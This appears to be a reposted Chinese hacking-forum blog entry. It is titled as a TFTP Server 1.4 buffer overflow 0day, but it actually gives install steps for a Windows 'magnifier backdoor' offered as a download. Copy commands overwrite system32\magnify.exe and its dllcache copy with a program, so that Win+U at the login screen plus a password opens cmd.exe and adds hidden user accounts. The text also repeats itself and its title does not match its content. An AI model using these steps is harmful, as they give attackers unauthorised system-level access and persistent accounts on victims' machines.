真实的网络攻击取证纪实
TFTP Server for Windows 1.4 ST Buffer Overflow Exploit (0day)
March 26, 2008 19:43 | by
来源：红狼论坛
PS：刚刚在红狼论坛看到的，具体未测试...简单看了下，估计是类似以前那种 shift 后门差不多....
设本程序为ivy.exe则运行以下命令即可
注：win+u，选择放大镜，输入你设定的后门启动密码，可执行cmd.exe和程序自己添加自定义用户（调用API防止cmd.exe被禁用）
Download ( 2062 downloads)
PS：刚刚在红狼论坛看到的，具体未测试...简单看了下，估计是类似以前那种 shift 后门差不多....
设本程序为ivy.exe则运行以下命令即可
copy %systemroot%\system32\magnify.exe %systemroot%\system32\nagnify.exe
copy ivy.exe %systemroot%\system32\magnify.exe
copy ivy.exe %systemroot%\system32\dllcache\magnify.exe
copy ivy.exe %systemroot%\system32\magnify.exe
copy ivy.exe %systemroot%\system32\dllcache\magnify.exe
注：win+u，选择放大镜，输入你设定的后门启动密码，可执行cmd.exe和程序自己添加自定义用户（调用API防止cmd.exe被禁用）
Download ( 2062 downloads)
